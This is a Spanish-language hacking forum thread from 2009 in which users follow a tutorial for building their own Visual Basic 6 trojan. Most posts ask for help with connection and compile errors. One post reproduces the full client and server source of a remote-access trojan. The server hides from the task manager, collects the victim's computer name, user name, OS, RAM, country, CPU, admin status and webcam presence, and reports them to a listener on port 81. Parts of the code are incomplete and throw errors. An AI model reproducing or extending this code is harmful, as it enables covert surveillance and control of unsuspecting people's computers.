• (vb6)Programen su propio TROYANO (MUY BUENO)

 #46477  por shark0
 20 Ene 2009, 00:55
HypNosS escribió:mmmmmmm...

acabo de borrar nuevamente mensajes cuestionando el accionar de nuestro ilustre moderador SharkI... si siguen rompiendo las pelotas lo vamos a poner de admin asi que basta...
hinchen hinchen las pelotas...
 #51312  por leucocito
 07 Feb 2009, 03:41
Thats por favor me podrias decir com se hace un builder? con la ip o no-ip? ya hice un edit server para el cliente pero para generar el server se me es muy complicado si eres tan amable se agradeceria tu respuesta saludos!!!!!!
 #56002  por black_dark
 25 Feb 2009, 00:28
Oigan una pregunta, hehe soy nuevo (pero con todas las ganas de aprender) y quisiera ver si me podian ayudar, ya tengo el cliente y el servidor (con los codigos que puso thats) y si me los compila y todo pero los inicio y no conecta, hay que hacerle algo mas al codigo???

Edito: ya pude hacer que conectara. :)
 #59519  por ShiveR
 11 Mar 2009, 20:58
yo lo tengo compilado, pero no me conecta, por que puede ser?
 #61715  por sepequeño
 20 Mar 2009, 15:11
Hola!! Ante todo Gracias por este foro tan bueno!! Tengo una duda que me estanco nada mas empezar con este tuto tan bueno,pero en fin,es que estoy muy verde con el vb,y todo a lo que programacion se refiere... Mi duda es donde encuentro la opcion de listview,porque entro a una pagina de propiedades que no se parece en nada a la que esta tuto se refiere Siento preguntar semejante cosa pero me gustaria tener mi propio trojan y otra vez agradecer todo lo que me ha aportado este grandisimo foro. Saludos
 #61716  por HacKDarK
 20 Mar 2009, 15:16
En vista que solo dio problemas este tuto (ademas de ideas locasy el octopus de Sharki) sugiero que cierren este post. Esta probado que solo sirve para tener una idea basica.

Saludos.
 #66084  por ShiveR
 10 Abr 2009, 14:43
Si, pero yo por ejemplo estoy interesado en esto, pueden hacer un tutorial un poco mas avanzado...Gracias!!
 #93237  por $tok
 15 Jul 2009, 22:30
AYUDA!!!
EN LA SIGUIENTE SENTENCIA ME MARCA ERROR PODRIAN AYUDAME???

Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub

JUSTO LO Q ESTA NE AZUL ALGUIEN ME PODRIA DECIR CUAL ES EL ERROR?
 #104381  por pchost
 30 Ago 2009, 00:14
mmmm ise tal y komo lo indicas pero me sale un error en:
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible,
veo ke aun no se resuelve este problema..
ke sera:??
 #104512  por xsmilex69
 30 Ago 2009, 15:36
Hola a todos y os felicito por el post tengo unas dudas a ver si podeis ayudarme y si puede "Thats"
Mirar cree el cliente y el servidor

Cliente:
Código: [ Debe registrarse para ver este enlace ]
Public total As Integer
Private Sub form_load() 'al cargar el formulario
ws(0).LocalPort = 81 'escuchamos en el puerto 81
'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se
'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo
ws(0).Listen 'Nos ponemos a la escucha
Text1.Text = "Escuchando puerto: " & ws(Index).LocalPort & "     |    Victimas conectadas : " & lv.ListItems.Count

End Sub
Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To lv.ListItems.Count 'bucle que recorre todos lso elementos del listview
marca = Split(lv.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If ws(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
lv.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "Zirox - " & lv.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el n? de conectados
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
ws(Index).Close 'cerramos la conexion
ws(Index).Accept requestID 'aceptamos la peticion
Load ws(total)
ws(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado
'se hizo conexion con ese indice asique le sumamos 1 para aceptar  nuevas)escuhamos con ese indice
End Sub
Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If lv.SelectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se puls? el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub
Private Sub name_click() 'al clicar en change name(de nombre name)
lv.StartLabelEdit 'que podamos editar el nombre
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String) 'despues de cambiar el nombre
ws(lv.SelectedItem.Index - 1).SendData "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos As String
Dim data() As String 'array
ws(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
data = Split(datos, "|") 'partimos la variable datos por el identificador "|",para separar datos
Select Case data(0) 'seg?n lo que contenga .Data(0) es el primer dato,usaremos eso como identificador
Case "Conexion"
Dim x As ListItem
Set x = lv.ListItems.Add(, Index & "|", data(1)) 'a?adimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = ws(Index).RemoteHostIP 'mas datos que a?adimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select
End Sub
y el server es:
Código: [ Debe registrarse para ver este enlace ]
Private Declare Function IsNTAdmin Lib "advpack.dll" (ByVal dwReserved As Long, ByRef lpdwReserved As Long) As Long

Private Type POINTAPI
        x As Long
        y As Long
End Type
Private Declare Function GetLocaleInfo Lib "kernel32" Alias "GetLocaleInfoA" _
                         (ByVal Locale As Long, ByVal LCType As Long, ByVal _
                          lpLCData As String, ByVal cchData As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" ( _
    ByVal lpstrCommand As String, _
    ByVal lpstrReturnString As String, _
    ByVal uReturnLength As Long, _
    ByVal hwndCallback As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that If you declare the lpData parameter as String, you must pass it By Value.
    Private Const REG_BINARY = 3
    Private Const HKEY_LOCAL_MACHINE = &H80000002
    Private Const ERROR_SUCCESS = 0&
Const LOCALE_USER_DEFAULT = &H400
Const LOCALE_SENGCOUNTRY = &H1002
Const LOCALE_SENGLANGUAGE = &H1001
Const LOCALE_SNATIVELANGNAME = &H4
Const LOCALE_SNATIVECTRYNAME = &H8


Dim victima As String, name1 As String, so As String, ip As String, port As String
Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String
Dim admin As Boolean
Private Sub form_load()
On Error Resume Next
Open Environ("windir") & "KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName") 'esta variable contendrá el nombre del pc
name1 = Environ("UserName") 'el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProductname") 'el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 81 'lo mismo, con el edit server lo editan….
procesador = yo.regread("HKEY_LOCAL_MACHINEHARDWAREDESCRIPTIONSystemCentralProcessorProcessorNameString") 'júntenlo, es k no cabía, es para el procesador...."
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
Me.Visible = False 'para que no se vea el form….
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, 0, 0, 320, 240, Picture1.hwnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&)) 'para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la función para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque falló la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'función para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function

Private Sub Timer1_Timer()
If ws.State <> 7 Then 'si no estamos conectados
ws.Close 'cerramos
End If
End Sub
Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
ws.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
ws.GetData datos 'los recibimos
data = Split(datos, "|")
Select Case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambió
Close #1
End Select
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

End Sub
Tambien tengo los tres modulos, bueno el caso es que no me conecta no se a que se debera a ver si podeis ayudarme gracias espero respuesta
 #111639  por elcuco2000
 26 Sep 2009, 20:43
al final nada de nada, no deverian empesar una cosa y dejarla por la mitad
eso lo que hace es confundir mas a la jente
si no estan seguros de los codigos ke plublican

no deverian hacerlo...................................

pienso que podrian poner link para que la jente con este tipo de problemas pueda descargar el codigo ya compilado.y no tocar tanto las pelotas compilando algo ke no sirve.

estoy muy molesto ya que su alluda no me sirvio de nada